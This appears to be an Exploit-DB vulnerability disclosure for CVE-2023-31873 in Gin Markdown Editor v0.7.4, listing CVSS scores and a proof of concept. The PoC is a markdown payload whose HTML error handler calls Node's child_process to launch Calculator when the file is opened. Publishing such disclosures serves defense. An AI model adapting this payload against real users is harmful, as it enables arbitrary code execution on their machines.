Gin Markdown Editor v0.7.4 (Electron) - Arbitrary Code Execution

2023-05-2300:00:00

8bitsec

www.exploit-db.com

156

vulnerability

code execution

mac

electron

cve-2023-31873

markdown editor

CVSS3

7.8

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

EPSS

0.001

Percentile

20.4%

JSON

# Exploit Title: Gin Markdown Editor v0.7.4 (Electron) - Arbitrary Code Execution
# Date: 2023-04-24
# Exploit Author: 8bitsec
# CVE: CVE-2023-31873
# Vendor Homepage: https://github.com/mariuskueng/gin
# Software Link: https://github.com/mariuskueng/gin
# Version: 0.7.4
# Tested on: [Mac OS 13]

Release Date:

2023-04-24

Product & Service Introduction: Javascript Markdown editor for Mac

Technical Details & Description:
A vulnerability was discovered on Gin markdown editor v0.7.4 allowing a user to execute arbitrary code by opening a specially crafted file.

Proof of Concept (PoC):
Arbitrary code execution:

Create a markdown file (.md) in any text editor and write the following payload:
<video><source onerror"alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());">

Opening the file in Gin will auto execute the Calculator application.